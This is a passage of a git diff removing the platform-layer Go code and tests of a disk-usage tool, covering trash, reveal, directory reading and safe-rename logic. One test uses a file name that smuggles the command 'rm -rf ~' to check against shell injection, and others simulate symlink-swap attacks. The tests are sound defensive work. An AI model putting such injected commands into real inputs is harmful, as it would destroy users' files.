os.OpenRoot(dir) - if err != nil { - return err - } - defer root.Close() - fi, err := root.Lstat(base) - if err != nil { - return err - } - if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType { - return errors.New("item changed since the scan (owner or type differs); rescan first") - } - return root.RemoveAll(base) -} diff --git a/internal/platform/mode_unix.go b/internal/platform/mode_unix.go deleted file mode 100644 index 54476c7..0000000 --- a/internal/platform/mode_unix.go +++ /dev/null @@ -1,36 +0,0 @@ -//go:build unix - -package platform - -import ( - "io/fs" - "syscall" -) - -func modeFromUnix(m uint32) fs.FileMode { - mode := fs.FileMode(m & 0o777) - switch m & syscall.S_IFMT { - case syscall.S_IFDIR: - mode |= fs.ModeDir - case syscall.S_IFLNK: - mode |= fs.ModeSymlink - case syscall.S_IFIFO: - mode |= fs.ModeNamedPipe - case syscall.S_IFSOCK: - mode |= fs.ModeSocket - case syscall.S_IFCHR: - mode |= fs.ModeDevice | fs.ModeCharDevice - case syscall.S_IFBLK: - mode |= fs.ModeDevice - } - if m&syscall.S_ISUID != 0 { - mode |= fs.ModeSetuid - } - if m&syscall.S_ISGID != 0 { - mode |= fs.ModeSetgid - } - if m&syscall.S_ISVTX != 0 { - mode |= fs.ModeSticky - } - return mode -} diff --git a/internal/platform/open_other.go b/internal/platform/open_other.go deleted file mode 100644 index 4aed149..0000000 --- a/internal/platform/open_other.go +++ /dev/null @@ -1,8 +0,0 @@ -//go:build !unix - -package platform - -import "os" - -// OpenContent opens a file whose content is about to be read. -func OpenContent(path string) (*os.File, error) { return os.Open(path) } diff --git a/internal/platform/open_unix.go b/internal/platform/open_unix.go deleted file mode 100644 index 5446760..0000000 --- a/internal/platform/open_unix.go +++ /dev/null @@ -1,15 +0,0 @@ -//go:build unix - -package platform - -import ( - "os" - "syscall" -) - -// OpenContent opens a file whose content is about to be read. It does not -// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the -// scan from blocking open(2) forever; callers still check the file type. -func OpenContent(path string) (*os.File, error) { - return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0) -} diff --git a/internal/platform/ops.go b/internal/platform/ops.go deleted file mode 100644 index 85bcb8f..0000000 --- a/internal/platform/ops.go +++ /dev/null @@ -1,40 +0,0 @@ -package platform - -import ( - "errors" - "io/fs" - "os" - "os/exec" - "path/filepath" -) - -// startDetached runs a helper program with an argument vector (never a -// shell), detached from the terminal so it cannot disturb the TUI. -func startDetached(name string, args ...string) error { - cmd := exec.Command(name, args...) - cmd.Stdin, cmd.Stdout, cmd.Stderr = nil, nil, nil - if err := cmd.Start(); err != nil { - return err - } - go cmd.Wait() - return nil -} - -// Expect is what the scan recorded for an item about to be trashed. Trash -// refuses an item whose owner or file type no longer matches. -type Expect struct { - UID uint32 - Mode fs.FileMode // only the type bits are compared -} - -// checkAbs guards helper invocations: an absolute path can never be parsed -// as an option by the helper program. -func checkAbs(path string) error { - if !filepath.IsAbs(path) { - return errors.New("refusing relative path") - } - if _, err := os.Lstat(path); err != nil { - return err - } - return nil -} diff --git a/internal/platform/ops_darwin.go b/internal/platform/ops_darwin.go deleted file mode 100644 index 8880df1..0000000 --- a/internal/platform/ops_darwin.go +++ /dev/null @@ -1,81 +0,0 @@ -package platform - -import ( - "errors" - "fmt" - "os" - "path/filepath" - "syscall" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "Trash" - -// Reveal selects the item in Finder. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - return startDetached("open", "-R", path) -} - -// Trash moves path into ~/.Trash (same volume) or the volume's -// .Trashes/ directory. It never copies and never deletes. -func Trash(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - home, err := os.UserHomeDir() - if err != nil { - return err - } - dirs := []string{filepath.Join(home, ".Trash")} - if vol := volumeOf(path); vol != "" { - dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid()))) - } - base := filepath.Base(path) - for vi, dir := range dirs { - if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil { - continue - } - // A volume trash is on a shared filesystem: another user could plant - // a symlink or an open directory there, so insist on a private one. - if err := ensurePrivateDir(dir, vi > 0); err != nil { - continue - } - for i := 1; i < 10000; i++ { - name := base - if i > 1 { - name = fmt.Sprintf("%s %d", base, i) - } - dst := filepath.Join(dir, name) - if _, err := os.Lstat(dst); err == nil { - continue - } - err := renameChecked(path, dst, want) - if errors.Is(err, syscall.EXDEV) { - break // try the next trash location - } - return err - } - } - return errors.New("trash: item is on a volume without a usable trash") -} - -func volumeOf(path string) string { - const prefix = "/Volumes/" - if len(path) > len(prefix) && path[:len(prefix)] == prefix { - rest := path[len(prefix):] - for i := 0; i < len(rest); i++ { - if rest[i] == '/' { - return prefix + rest[:i] - } - } - return path - } - return "" -} - -// Headless is always false: macOS has Finder and the Trash even without -// $DISPLAY (which it does not use). -func Headless() bool { return false } diff --git a/internal/platform/ops_linux.go b/internal/platform/ops_linux.go deleted file mode 100644 index 56a1353..0000000 --- a/internal/platform/ops_linux.go +++ /dev/null @@ -1,132 +0,0 @@ -package platform - -import ( - "errors" - "fmt" - "net/url" - "os" - "path/filepath" - "strconv" - "syscall" - "time" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "trash" - -// Reveal opens the item's directory in the desktop file manager. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - fi, err := os.Lstat(path) - if err == nil && !fi.IsDir() { - path = filepath.Dir(path) - } - return startDetached("xdg-open", path) -} - -// Trash moves path to the freedesktop.org trash: the home trash when on the -// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem. -// It never copies across filesystems and never deletes. -func Trash(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - st, err := os.Lstat(path) - if err != nil { - return err - } - dev := st.Sys().(*syscall.Stat_t).Dev - dataHome := os.Getenv("XDG_DATA_HOME") - if dataHome == "" { - home, err := os.UserHomeDir() - if err != nil { - return err - } - dataHome = filepath.Join(home, ".local", "share") - } - home := filepath.Join(dataHome, "Trash") - var trash, infoPath string - if hs, err := os.Stat(dataHome); err == nil && hs.Sys().(*syscall.Stat_t).Dev == dev { - trash, infoPath = home, path - } else { - top := mountTop(path, dev) - trash = filepath.Join(top, ".Trash-"+strconv.Itoa(os.Getuid())) - rel, err := filepath.Rel(top, path) - if err != nil { - return err - } - infoPath = rel - } - files, info := filepath.Join(trash, "files"), filepath.Join(trash, "info") - if trash == home { - if err := os.MkdirAll(trash, 0o700); err != nil { - return err - } - } else if err := ensurePrivateDir(trash, true); err != nil { - // On a shared filesystem another user could plant a symlink or a - // world-writable directory here; refuse rather than follow it. - return fmt.Errorf("trash directory %s is unsafe: %w", trash, err) - } - for _, d := range []string{files, info} { - if err := ensurePrivateDir(d, trash != home); err != nil { - return fmt.Errorf("trash directory %s is unsafe: %w", d, err) - } - } - base := filepath.Base(path) - for i := 1; i < 10000; i++ { - name := base - if i > 1 { - name = fmt.Sprintf("%s.%d", base, i) - } - dst := filepath.Join(files, name) - if _, err := os.Lstat(dst); err == nil { - continue // never overwrite an earlier trashed item (even without .trashinfo) - } - ip := filepath.Join(info, name+".trashinfo") - f, err := os.OpenFile(ip, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600) - if errors.Is(err, os.ErrExist) { - continue - } - if err != nil { - return err - } - u := (&url.URL{Path: infoPath}).EscapedPath() - _, werr := fmt.Fprintf(f, "[Trash Info]\nPath=%s\nDeletionDate=%s\n", u, time.Now().Format("2006-01-02T15:04:05")) - cerr := f.Close() - if werr != nil || cerr != nil { - os.Remove(ip) - return errors.Join(werr, cerr) - } - if err := renameChecked(path, dst, want); err != nil { - os.Remove(ip) - return err - } - return nil - } - return errors.New("trash: too many items with the same name") -} - -// mountTop returns the top directory of the filesystem containing path. -func mountTop(path string, dev uint64) string { - cur := filepath.Dir(path) - for { - parent := filepath.Dir(cur) - if parent == cur { - return cur - } - st, err := os.Stat(parent) - if err != nil || st.Sys().(*syscall.Stat_t).Dev != dev { - return cur - } - cur = parent - } -} - -// Headless reports whether there is no graphical session (no X or Wayland -// display), so there is no file manager to open and no desktop trash anyone -// will empty. -func Headless() bool { - return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" -} diff --git a/internal/platform/ops_linux_test.go b/internal/platform/ops_linux_test.go deleted file mode 100644 index dc8af24..0000000 --- a/internal/platform/ops_linux_test.go +++ /dev/null @@ -1,155 +0,0 @@ -package platform - -import ( - "os" - "path/filepath" - "strings" - "testing" -) - -func TestTrashFreedesktop(t *testing.T) { - data := t.TempDir() - t.Setenv("XDG_DATA_HOME", data) - dir := filepath.Join(data, "work") - os.Mkdir(dir, 0o755) - victim := filepath.Join(dir, "weird name ;rm -rf ~;") - if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil { - t.Fatal(err) - } - if err := Trash(victim, want(t, victim)); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(victim); !os.IsNotExist(err) { - t.Fatal("file still present") - } - trashed := filepath.Join(data, "Trash", "files", "weird name ;rm -rf ~;") - if _, err := os.Lstat(trashed); err != nil { - t.Fatalf("not in trash: %v", err) - } - info, err := os.ReadFile(filepath.Join(data, "Trash", "info", "weird name ;rm -rf ~;.trashinfo")) - if err != nil || !strings.Contains(string(info), "Path="+strings.ReplaceAll(dir, " ", "%20")) { - t.Fatalf("bad trashinfo: %q %v", info, err) - } - // A second item with the same name gets a distinct trash name. - os.WriteFile(victim, []byte("y"), 0o644) - if err := Trash(victim, want(t, victim)); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(trashed + ".2"); err != nil { - t.Fatal("collision not handled") - } - if err := Trash("relative/path", Expect{}); err == nil { - t.Fatal("relative paths must be refused") - } -} - -func TestEnsurePrivateDirRejectsSymlink(t *testing.T) { - base := t.TempDir() - target := filepath.Join(base, "attacker") - os.Mkdir(target, 0o700) - link := filepath.Join(base, ".Trash-1000") - os.Symlink(target, link) - if err := ensurePrivateDir(link, false); err == nil { - t.Fatal("symlinked trash dir accepted") - } - open := filepath.Join(base, "open") - os.Mkdir(open, 0o777) - os.Chmod(open, 0o777) - if err := ensurePrivateDir(open, true); err == nil { - t.Fatal("world-accessible trash dir accepted") - } - if err := ensurePrivateDir(filepath.Join(base, "fresh"), true); err != nil { - t.Fatal(err) - } -} - -func want(t *testing.T, path string) Expect { - t.Helper() - m, err := Lstat(path) - if err != nil { - t.Fatal(err) - } - return Expect{UID: m.UID, Mode: m.Mode} -} - -// A parent swapped for a symlink after the scan must not redirect the move -// to whatever the symlink points at. -func TestTrashRefusesSwappedItem(t *testing.T) { - data := t.TempDir() - t.Setenv("XDG_DATA_HOME", data) - dir := filepath.Join(data, "work") - os.Mkdir(dir, 0o755) - victim := filepath.Join(dir, "big.iso") - os.WriteFile(victim, []byte("x"), 0o644) - scanned := want(t, victim) - - // Item replaced by a symlink to a file elsewhere: type differs. - other := filepath.Join(data, "precious") - os.WriteFile(other, []byte("keep"), 0o644) - os.Remove(victim) - os.Symlink(other, victim) - scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir} - if err := Trash(victim, scanned); err == nil { - t.Fatal("symlink accepted where a regular file was scanned") - } - if err := Trash(victim, scannedDir); err == nil { - t.Fatal("type mismatch accepted") - } - if _, err := os.Lstat(victim); err != nil { - t.Fatal("refused item was moved") - } - - // Owner differs from the scan. - os.Remove(victim) - os.WriteFile(victim, []byte("x"), 0o644) - if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil { - t.Fatal("owner mismatch accepted") - } - entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info")) - if len(entries) != 0 { - t.Fatalf("refused trash left %d .trashinfo files", len(entries)) - } - if err := Trash(victim, scanned); err != nil { - t.Fatal(err) - } -} - -func TestDeletePermanently(t *testing.T) { - base := t.TempDir() - dir := filepath.Join(base, "S01") - os.MkdirAll(filepath.Join(dir, "extras"), 0o755) - os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644) - // A symlink inside must be removed, not followed. - keep := filepath.Join(base, "keep") - os.WriteFile(keep, []byte("k"), 0o644) - os.Symlink(keep, filepath.Join(dir, "link")) - - w := want(t, dir) - if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil { - t.Fatal("type mismatch accepted") - } - if err := Delete(dir, w); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(dir); !os.IsNotExist(err) { - t.Fatal("directory still present") - } - if _, err := os.Lstat(keep); err != nil { - t.Fatal("symlink target was deleted") - } - if err := Delete("relative/path", Expect{}); err == nil { - t.Fatal("relative paths must be refused") - } -} - -func TestHeadless(t *testing.T) { - t.Setenv("DISPLAY", "") - t.Setenv("WAYLAND_DISPLAY", "") - if !Headless() { - t.Fatal("no display should be headless") - } - t.Setenv("WAYLAND_DISPLAY", "wayland-0") - if Headless() { - t.Fatal("wayland session reported headless") - } -} diff --git a/internal/platform/ops_other.go b/internal/platform/ops_other.go deleted file mode 100644 index 02cc8e1..0000000 --- a/internal/platform/ops_other.go +++ /dev/null @@ -1,24 +0,0 @@ -//go:build !linux && !darwin && !windows - -package platform - -import ( - "errors" - "os" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "trash" - -// Reveal is unsupported on this platform. -func Reveal(string) error { return errors.New("not supported on this platform") } - -// Trash is unsupported on this platform. -func Trash(string, Expect) error { return errors.New("trash not supported on this platform") } - -// Headless reports whether there is no graphical session (no X or Wayland -// display), so there is no file manager to open and no desktop trash anyone -// will empty. -func Headless() bool { - return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" -} diff --git a/internal/platform/ops_windows.go b/internal/platform/ops_windows.go deleted file mode 100644 index 64d2344..0000000 --- a/internal/platform/ops_windows.go +++ /dev/null @@ -1,78 +0,0 @@ -package platform - -import ( - "errors" - "strconv" - "syscall" - "unsafe" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "Recycle Bin" - -// Reveal selects the item in Explorer. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - return startDetached("explorer.exe", "/select,", path) -} - -var ( - shell32 = syscall.NewLazyDLL("shell32.dll") - procSHFileOpertn = shell32.NewProc("SHFileOperationW") -) - -// shFileOpStruct mirrors SHFILEOPSTRUCTW (64-bit natural alignment). -type shFileOpStruct struct { - hwnd uintptr - wFunc uint32 - pFrom *uint16 - pTo *uint16 - fFlags uint16 - fAnyOperationsAborted int32 - hNameMappings uintptr - lpszProgressTitle *uint16 -} - -const ( - foDelete = 0x3 - fofSilent = 0x4 - fofNoConfirmation = 0x10 - fofAllowUndo = 0x40 - fofNoErrorUI = 0x400 - fofNoConfirmMkdir = 0x200 -) - -// Trash moves path to the Recycle Bin via SHFileOperationW with -// FOF_ALLOWUNDO. It never deletes permanently. want is not checked here: -// Windows exposes no owner or inode identity through the scan. -func Trash(path string, _ Expect) error { - if err := checkAbs(path); err != nil { - return err - } - if unsafe.Sizeof(uintptr(0)) != 8 { - return errors.New("recycle bin support requires a 64-bit build") - } - u, err := syscall.UTF16FromString(path) - if err != nil { - return err - } - u = append(u, 0) // double NUL terminated list - op := shFileOpStruct{wFunc: foDelete, pFrom: &u[0], - fFlags: fofAllowUndo | fofNoConfirmation | fofSilent | fofNoErrorUI | fofNoConfirmMkdir} - r, _, _ := procSHFileOpertn.Call(uintptr(unsafe.Pointer(&op))) - if r != 0 { - return errors.New("SHFileOperation failed: code " + strconv.Itoa(int(r))) - } - if op.fAnyOperationsAborted != 0 { - return errors.New("operation aborted") - } - return nil -} - -// Headless is always false: Windows always has Explorer and the Recycle Bin. -func Headless() bool { return false } - -// Delete is not offered on Windows; items go to the Recycle Bin. -func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") } diff --git a/internal/platform/platform.go b/internal/platform/platform.go deleted file mode 100644 index 6e59396..0000000 --- a/internal/platform/platform.go +++ /dev/null @@ -1,151 +0,0 @@ -// Package platform hides OS-specific filesystem metadata behind a small -// common API. Files are split by build tag; nothing else in the program -// switches on GOOS. -package platform - -import ( - "errors" - "io" - "io/fs" - "os" - "os/user" - "strconv" - "sync" -) - -// Meta is the metadata of one directory entry. -type Meta struct { - Name string - Mode fs.FileMode - Size int64 - Alloc int64 - AllocKnown bool - MTime int64 // unix nanoseconds - BTime int64 // birth time, 0 if unknown - UID, GID uint32 - Nlink uint32 - Dev, Ino uint64 - HasIno bool // Dev/Ino are meaningful - Err error // stat failed; only Name is valid -} - -// ChunkFunc receives successive batches of entries. The slice is owned by -// the callee. Returning an error stops the read. -type ChunkFunc func([]Meta) error - -// Lstat returns metadata for path without following a final symlink. -func Lstat(path string) (Meta, error) { return statPath(path, false) } - -// Stat returns metadata for path, following symlinks. -func Stat(path string) (Meta, error) { return statPath(path, true) } - -var ( - nameMu sync.Mutex - userNames = map[uint32]string{} - groupNames = map[uint32]string{} -) - -// UserName resolves a uid to a name (cached; falls back to the number). -func UserName(uid uint32) string { - return lookupName(userNames, uid, func(s string) (string, error) { - u, err := user.LookupId(s) - if err != nil { - return "", err - } - return u.Username, nil - }) -} - -// GroupName resolves a gid to a name (cached; falls back to the number). -func GroupName(gid uint32) string { - return lookupName(groupNames, gid, func(s string) (string, error) { - g, err := user.LookupGroupId(s) - if err != nil { - return "", err - } - return g.Name, nil - }) -} - -func lookupName(cache map[uint32]string, id uint32, look func(string) (string, error)) string { - nameMu.Lock() - defer nameMu.Unlock() - if n, ok := cache[id]; ok { - return n - } - s := strconv.FormatUint(uint64(id), 10) - if n, err := look(s); err == nil { - s = n - } - cache[id] = s - return s -} - -// fromFileInfo fills the portable fields of Meta. -func fromFileInfo(fi fs.FileInfo) Meta { - return Meta{ - Name: fi.Name(), - Mode: fi.Mode(), - Size: fi.Size(), - Alloc: fi.Size(), - MTime: fi.ModTime().UnixNano(), - Nlink: 1, - } -} - -// readDirGeneric is the portable fallback: os.ReadDir in chunks plus Lstat -// per entry by path. -func readDirGeneric(path string, chunk int, fn ChunkFunc, stat func(string) (Meta, error)) error { - f, err := os.Open(path) - if err != nil { - return err - } - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - m, serr := stat(joinPath(path, de.Name())) - if serr != nil { - m = Meta{Err: serr} - } - m.Name = de.Name() - out[i] = m - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func joinPath(dir, name string) string { - if len(dir) > 0 && os.IsPathSeparator(dir[len(dir)-1]) { - return dir + name - } - return dir + string(os.PathSeparator) + name -} - -// JoinPath joins a directory and an entry name without cleaning. -func JoinPath(dir, name string) string { return joinPath(dir, name) } - -func baseName(path string) string { - i := len(path) - 1 - for i > 0 && os.IsPathSeparator(path[i]) { - i-- - } - path = path[:i+1] - for j := len(path) - 1; j >= 0; j-- { - if os.IsPathSeparator(path[j]) { - return path[j+1:] - } - } - return path -} diff --git a/internal/platform/readdir_bsd.go b/internal/platform/readdir_bsd.go deleted file mode 100644 index f221031..0000000 --- a/internal/platform/readdir_bsd.go +++ /dev/null @@ -1,82 +0,0 @@ -//go:build darwin || freebsd - -package platform - -import ( - "errors" - "io" - "os" - - "golang.org/x/sys/unix" -) - -// ReadDir streams the entries of a directory in chunks, stat-ing each entry -// relative to the directory fd. -func ReadDir(path string, chunk int, fn ChunkFunc) error { - fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: path, Err: err} - } - f := os.NewFile(uintptr(fd), path) - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - var st unix.Stat_t - if serr := unix.Fstatat(fd, de.Name(), &st, unix.AT_SYMLINK_NOFOLLOW); serr != nil { - out[i] = Meta{Name: de.Name(), Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}} - continue - } - out[i] = fromStat(&st) - out[i].Name = de.Name() - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func fromStat(st *unix.Stat_t) Meta { - return Meta{ - Mode: modeFromUnix(uint32(st.Mode)), - Size: st.Size, - Alloc: st.Blocks * 512, - AllocKnown: true, - MTime: st.Mtim.Nano(), - BTime: st.Btim.Nano(), - UID: st.Uid, - GID: st.Gid, - Nlink: uint32(st.Nlink), - Dev: uint64(st.Dev), - Ino: uint64(st.Ino), - HasIno: true, - } -} - -func statPath(path string, follow bool) (Meta, error) { - var st unix.Stat_t - var err error - if follow { - err = unix.Stat(path, &st) - } else { - err = unix.Lstat(path, &st) - } - if err != nil { - return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err} - } - m := fromStat(&st) - m.Name = baseName(path) - return m, nil -} - -// IsVirtualFS is Linux-specific; elsewhere nothing is skipped. -func IsVirtualFS(string) bool { return false } diff --git a/internal/platform/readdir_linux.go b/internal/platform/readdir_linux.go deleted file mode 100644 index 167f49e..0000000 --- a/internal/platform/readdir_linux.go +++ /dev/null @@ -1,138 +0,0 @@ -package platform - -import ( - "errors" - "io" - "os" - "sync/atomic" - - "golang.org/x/sys/unix" -) - -// noStatx is set if the kernel lacks statx (pre-4.11); we fall back to fstatat. -var noStatx atomic.Bool - -const statxMask = unix.STATX_BASIC_STATS | unix.STATX_BTIME - -// ReadDir streams the entries of a directory in chunks, stat-ing each entry -// relative to the directory fd (no repeated path resolution). -func ReadDir(path string, chunk int, fn ChunkFunc) error { - fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: path, Err: err} - } - f := os.NewFile(uintptr(fd), path) - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - m, serr := statAt(fd, de.Name(), unix.AT_SYMLINK_NOFOLLOW) - if serr != nil { - m = Meta{Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}} - } - m.Name = de.Name() - out[i] = m - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func statAt(dirfd int, name string, flags int) (Meta, error) { - if !noStatx.Load() { - var st unix.Statx_t - err := unix.Statx(dirfd, name, flags|unix.AT_STATX_DONT_SYNC, statxMask, &st) - if err == nil { - return fromStatx(&st), nil - } - if !errors.Is(err, unix.ENOSYS) { - return Meta{}, err - } - noStatx.Store(true) - } - var st unix.Stat_t - if err := unix.Fstatat(dirfd, name, &st, flags); err != nil { - return Meta{}, err - } - return Meta{ - Mode: modeFromUnix(st.Mode), Size: st.Size, Alloc: st.Blocks * 512, AllocKnown: true, - MTime: st.Mtim.Nano(), UID: st.Uid, GID: st.Gid, Nlink: uint32(st.Nlink), - Dev: st.Dev, Ino: st.Ino, HasIno: true, - }, nil -} - -func fromStatx(st *unix.Statx_t) Meta { - m := Meta{ - Mode: modeFromUnix(uint32(st.Mode)), - Size: int64(st.Size), - Alloc: int64(st.Blocks) * 512, - AllocKnown: true, - MTime: st.Mtime.Sec*1e9 + int64(st.Mtime.Nsec), - UID: st.Uid, - GID: st.Gid, - Nlink: st.Nlink, - Dev: unix.Mkdev(st.Dev_major, st.Dev_minor), - Ino: st.Ino, - HasIno: true, - } - if st.Mask&unix.STATX_BTIME != 0 { - m.BTime = st.Btime.Sec*1e9 + int64(st.Btime.Nsec) - } - return m -} - -func statPath(path string, follow bool) (Meta, error) { - flags := unix.AT_SYMLINK_NOFOLLOW - if follow { - flags = 0 - } - m, err := statAt(unix.AT_FDCWD, path, flags) - if err != nil { - return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err} - } - m.Name = baseName(path) - return m, nil -} - -// Linux pseudo-filesystems whose contents are not disk usage. -var virtualFS = map[int64]bool{ - 0x9fa0: true, // proc - 0x62656572: true, // sysfs - 0x1cd1: true, // devpts - 0x27e0eb: true, // cgroup - 0x63677270: true, // cgroup2 - 0x64626720: true, // debugfs - 0x74726163: true, // tracefs - 0x73636673: true, // securityfs - 0x6165676c: true, // pstore - 0xcafe4a11: true, // bpf - 0x62656570: true, // configfs - 0x65735543: true, // fusectl - 0x19800202: true, // mqueue - 0xde5e81e4: true, // efivarfs - 0x42494e4d: true, // binfmt_misc - 0xf97cff8c: true, // selinuxfs - 0x958458f6: true, // hugetlbfs - 0x6e736673: true, // nsfs - 0x50495045: true, // pipefs -} - -// IsVirtualFS reports whether path is the root of a pseudo filesystem -// (proc, sysfs, cgroup, …) that should not be scanned as disk usage. -func IsVirtualFS(path string) bool { - var st unix.Statfs_t - if err := unix.Statfs(path, &st); err != nil { - return false - } - return virtualFS[int64(st.Type)] -} diff --git a/internal/platform/readdir_other.go b/internal/platform/readdir_other.go deleted file mode 100644 index 025bcd7..0000000 --- a/internal/platform/readdir_other.go +++ /dev/null @@ -1,31 +0,0 @@ -//go:build !linux && !darwin && !freebsd - -package platform - -import "os" - -// ReadDir streams the entries of a directory using the portable os API. -// Allocated size, inode identity and link counts are not available here. -func ReadDir(path string, chunk int, fn ChunkFunc) error { - return readDirGeneric(path, chunk, fn, func(p string) (Meta, error) { return statPath(p, false) }) -} - -func statPath(path string, follow bool) (Meta, error) { - var fi os.FileInfo - var err error - if follow { - fi, err = os.Stat(path) - } else { - fi, err = os.Lstat(path) - } - if err != nil { - return Meta{}, err - } - m := fromFileInfo(fi) - m.Name = baseName(path) - fillSys(&m, fi) - return m, nil -} - -// IsVirtualFS is Linux-specific; elsewhere nothing is skipped. -func IsVirtualFS(string) bool { return false } diff --git a/internal/platform/sys_nowindows.go b/internal/platform/sys_nowindows.go deleted file mode 100644 index 4973a88..0000000 --- a/internal/platform/sys_nowindows.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build !windows && !linux && !darwin && !freebsd - -package platform - -import "os" - -func fillSys(*Meta, os.FileInfo) {} diff --git a/internal/platform/sys_windows.go b/internal/platform/sys_windows.go deleted file mode 100644 index c866bec..0000000 --- a/internal/platform/sys_windows.go +++ /dev/null @@ -1,12 +0,0 @@ -package platform - -import ( - "os" - "syscall" -) - -func fillSys(m *Meta, fi os.FileInfo) { - if d, ok := fi.Sys().(*syscall.Win32FileAttributeData); ok { - m.BTime = d.CreationTime.Nanoseconds() - } -} diff --git a/internal/platform/trash_unix.go b/internal/platform/trash_unix.go deleted file mode 100644 index 078e815..0000000 --- a/internal/platform/trash_unix.go +++ /dev/null @@ -1,59 +0,0 @@ -//go:build linux || darwin - -package platform - -import ( - "errors" - "io/fs" - "os" - "path/filepath" - "syscall" - - "golang.org/x/sys/unix" -) - -// renameChecked moves path to dst if it still matches want. The parent -// directory is opened once and both the check and the rename are relative to -// that descriptor, so a parent swapped for a symlink since the scan (or -// between check and rename) cannot redirect the move to another user's file. -func renameChecked(path, dst string, want Expect) error { - dir, base := filepath.Dir(path), filepath.Base(path) - dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: dir, Err: err} - } - defer unix.Close(dfd) - var st unix.Stat_t - if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil { - return &os.PathError{Op: "stat", Path: path, Err: err} - } - if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType { - return errors.New("item changed since the scan (owner or type differs); rescan first") - } - return unix.Renameat(dfd, base, unix.AT_FDCWD, dst) -} - -// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must -// be a real directory (not a symlink) owned by us. With strict (trash on a -// shared filesystem) it must also be inaccessible to others, as the -// freedesktop.org spec requires; home trash directories made by desktop -// environments are sometimes 0755, which is harmless there. -func ensurePrivateDir(dir string, strict bool) error { - if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) { - return err - } - fi, err := os.Lstat(dir) - if err != nil { - return err - } - st := fi.Sys().(*syscall.Stat_t) - switch { - case !fi.IsDir(): - return errors.New("not a directory (symlink?)") - case int(st.Uid) != os.Getuid(): - return errors.New("owned by another user") - case strict && fi.Mode().Perm()&0o077 != 0: - return errors.New("accessible to other users") - } - return nil -} diff --git a/internal/scan/mem_test.go b/internal/scan/mem_test.go deleted file mode 100644 index 3ecef46..0000000 --- a/internal/scan/mem_test.go +++ /dev/null @@ -1,35 +0,0 @@ -package scan - -import ( - "context" - "os" - "runtime" - "testing" - "time" -) - -// TestMemoryPerNode reports heap use per inventory node for a real tree. -// Set MAPSIZE_MEM_ROOT to a directory to run it. -func TestMemoryPerNode(t *testing.T) { - root := os.Getenv("MAPSIZE_MEM_ROOT") - if root == "" { - t.Skip("set MAPSIZE_MEM_ROOT") - } - var before, after runtime.MemStats - runtime.GC() - runtime.ReadMemStats(&before) - start := time.Now() - s, err := Start(context.Background(), root, Options{}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - el := time.Since(start) - runtime.GC() - runtime.ReadMemStats(&after) - n := s.Tree.Len() - heap := after.HeapAlloc - before.HeapAlloc - t.Logf("nodes=%d scan=%s heap=%.1f MiB (%.0f bytes/node)", n, el.Round(time.Millisecond), - float64(heap)/(1<<20), float64(heap)/float64(n)) - runtime.KeepAlive(s) -} diff --git a/internal/scan/panic.go b/internal/scan/panic.go deleted file mode 100644 index f1e4796..0000000 --- a/internal/scan/panic.go +++ /dev/null @@ -1,14 +0,0 @@ -package scan - -import "runtime/debug" - -// OnPanic is called if a scanner goroutine panics. The default re-panics -// (crashing 